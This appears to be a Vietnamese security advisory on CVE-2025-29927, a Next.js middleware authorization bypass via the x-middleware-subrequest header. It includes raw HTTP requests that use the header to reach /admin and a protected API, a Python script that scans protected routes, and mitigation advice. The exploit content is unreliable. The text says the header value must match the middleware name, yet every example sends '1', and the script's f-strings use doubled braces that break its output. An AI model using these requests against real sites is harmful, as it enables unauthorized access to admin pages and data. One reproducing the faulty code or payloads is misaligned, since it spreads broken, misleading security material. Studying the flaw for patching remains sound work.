Cảnh báo: Lỗ hổng CVE nghiêm trọng Next.js – Bỏ qua ủy quyền

Cảnh báo: Lỗ hổng CVE nghiêm trọng Next.js - Bỏ qua ủy quyền

Next.js framework đã phát hiện một lỗ hổng CVE nghiêm trọng mới, được định danh là CVE-2025-29927. Lỗ hổng này cho phép kẻ tấn công không cần xác thực bỏ qua các kiểm tra ủy quyền dựa trên middleware bằng cách khai thác việc xử lý không đúng đắn header HTTP x-middleware-subrequest.

Lỗ hổng này ảnh hưởng đến tất cả các phiên bản Next.js sử dụng header x-middleware-subrequest để phân biệt giữa các subrequest nội bộ và lưu lượng truy cập bên ngoài.

Việc khai thác lỗ hổng CVE-2025-29927 gây ra rủi ro nghiêm trọng, có thể dẫn đến lộ các tuyến đường được bảo vệ và giao diện quản trị.

Nội dung
Tổng quan về CVE-2025-29927: Lỗ hổng CVE nghiêm trọng trong Next.js
Cơ chế Kỹ thuật của Lỗ hổng CVE-2025-29927
Phương thức Khai thác Lỗ hổng

Kịch bản Khai thác Cơ bản
Kết hợp JWT / Cookie
Kịch bản Thao túng Header
Mã Khai thác Tự động (Ví dụ Red-Team)
Giảm thiểu và Khuyến nghị Bản vá Bảo mật

Tổng quan về CVE-2025-29927: Lỗ hổng CVE nghiêm trọng trong Next.js

CVE-2025-29927 là một lỗ hổng CVE nghiêm trọng, cho phép bỏ qua cơ chế ủy quyền trong Next.js.

Next.js sử dụng header x-middleware-subrequest để ngăn chặn các vòng lặp vô hạn khi middleware kích hoạt các subrequest tới máy chủ.

Logic của middleware có nhiệm vụ đọc và phân tích header này để phát hiện các cuộc gọi đệ quy. Tuy nhiên, việc thiếu sự phân biệt rõ ràng giữa yêu cầu nội bộ hợp lệ và yêu cầu độc hại từ bên ngoài đã tạo ra khe hở bảo mật.

Kết quả là, kẻ tấn công có thể thao túng header này để buộc middleware bỏ qua các kiểm tra bảo mật, bao gồm cả xác thực và ủy quyền.

Cơ chế Kỹ thuật của Lỗ hổng CVE-2025-29927

Vấn đề cốt lõi của lỗ hổng CVE này nằm trong cách Next.js xử lý header x-middleware-subrequest trong quá trình thực thi middleware.

Khi một request được gửi đến, logic middleware sẽ phân tách giá trị của header x-middleware-subrequest bằng dấu hai chấm (:) thành một mảng các chuỗi.

Nếu bất kỳ phần tử nào trong mảng này khớp với giá trị của middlewareInfo.name, Next.js sẽ tự động coi yêu cầu đó là một subrequest nội bộ.

Ngay lập tức, hệ thống sẽ gọi phương thức NextResponse.next(). Hành động này bỏ qua một cách hiệu quả tất cả các kiểm tra tiếp theo, bao gồm cả xác thực (authentication) và ủy quyền (authorization) cho request đó.

Cơ chế này được mô tả chi tiết trong các báo cáo từ các nhà nghiên cứu bảo mật. Tham khảo thêm chi tiết kỹ thuật tại nullsecurityx.codes.

Phương thức Khai thác Lỗ hổng

Kịch bản Khai thác Cơ bản

Kẻ tấn công có thể tạo một yêu cầu GET đơn giản với header x-middleware-subrequest đã bị thao túng. Yêu cầu này sẽ buộc middleware bỏ qua các quy tắc bảo mật và trả về trang được bảo vệ.

Ví dụ về một yêu cầu độc hại:

GET /admin HTTP/1.1
Host: example.com
x-middleware-subrequest: 1

Yêu cầu trên sẽ cho phép truy cập trái phép vào trang /admin hoặc các điểm cuối nhạy cảm khác, vốn cần xác thực.

Kết hợp JWT / Cookie

Nhiều dự án Next.js áp dụng các lớp kiểm tra bổ sung dựa trên JWT hoặc cookie trên middleware. Tuy nhiên, lỗ hổng CVE-2025-29927 cũng có thể bỏ qua các cơ chế này.

Bằng cách gửi header x-middleware-subrequest: 1, kẻ tấn công có thể bỏ qua cả kiểm tra của middleware lẫn kiểm tra token.

Điều này cho phép họ truy cập vào hệ thống mà không cần cung cấp thông tin đăng nhập hợp lệ hoặc token xác thực.

GET /api/protected-data HTTP/1.1
Host: example.com
x-middleware-subrequest: 1
Cookie: session=invalid_session_token
Authorization: Bearer invalid_jwt_token

Trong trường hợp này, ngay cả khi token JWT hoặc cookie không hợp lệ, yêu cầu vẫn có thể được xử lý thành công nếu lỗ hổng CVE này chưa được vá.

Kịch bản Thao túng Header

Kẻ tấn công có thể thử nghiệm các giá trị khác nhau cho header x-middleware-subrequest để tìm ra cách thức phù hợp nhất để bỏ qua các kiểm tra ủy quyền.

Ví dụ, bất kỳ giá trị nào khớp với middlewareInfo.name được định nghĩa trong cấu hình ứng dụng đều có thể được sử dụng để kích hoạt hành vi bỏ qua.

Việc không xác thực chặt chẽ giá trị của header này là nguyên nhân chính dẫn đến khả năng khai thác lỗ hổng CVE.

Mã Khai thác Tự động (Ví dụ Red-Team)

Để nhanh chóng xác định các điểm cuối dễ bị tổn thương, các nhóm Red Team có thể phát triển các script tự động.

Những script này sẽ lặp qua các tuyến đường được bảo vệ, gửi các yêu cầu với header x-middleware-subrequest độc hại.

Mục tiêu là nhanh chóng phát hiện các tài nguyên bị lộ mà không cần xác thực hợp lệ. Dưới đây là ví dụ mô phỏng một đoạn mã kiểm tra:

import requests

target_url = "http://example.com"
protected_routes = ["/admin", "/dashboard", "/settings"]

for route in protected_routes:
    full_url = f"{{target_url}}{{route}}"
    headers = {"x-middleware-subrequest": "1"}
    
    try:
        response = requests.get(full_url, headers=headers, allow_redirects=False)
        if response.status_code == 200:
            print(f"[+] Route vulnerable: {{full_url}} (Status: {{response.status_code}})")
        else:
            print(f"[-] Route not bypassed: {{full_url}} (Status: {{response.status_code}})")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error accessing {{full_url}}: {{e}}")

Script trên minh họa cách kiểm tra tự động, giúp nhận diện các điểm yếu một cách hiệu quả.

Giảm thiểu và Khuyến nghị Bản vá Bảo mật

Để đối phó hiệu quả với lỗ hổng CVE nghiêm trọng này, các nhà phát triển và quản trị hệ thống cần thực hiện các biện pháp giảm thiểu ngay lập tức.

Khuyến nghị chính là xác thực nguồn gốc của header x-middleware-subrequest một cách chặt chẽ.

Hệ thống cần được cấu hình để thực thi các kiểm tra phía máy chủ (server-side checks) mà không phụ thuộc vào sự hiện diện hay giá trị của header này.

Việc cập nhật bản vá bảo mật cho framework Next.js là tối quan trọng ngay khi có bản vá chính thức được phát hành. Các tổ chức nên theo dõi sát sao các thông báo bảo mật từ nhà cung cấp.

Thực hiện giám sát liên tục (continuous monitoring) để phát hiện bất kỳ dấu hiệu khai thác nào liên quan đến CVE-2025-29927 cũng là một biện pháp cần thiết.

Việc áp dụng các bản cập nhật framework ngay lập tức sẽ giúp giảm thiểu rủi ro bị khai thác từ lỗ hổng CVE-2025-29927.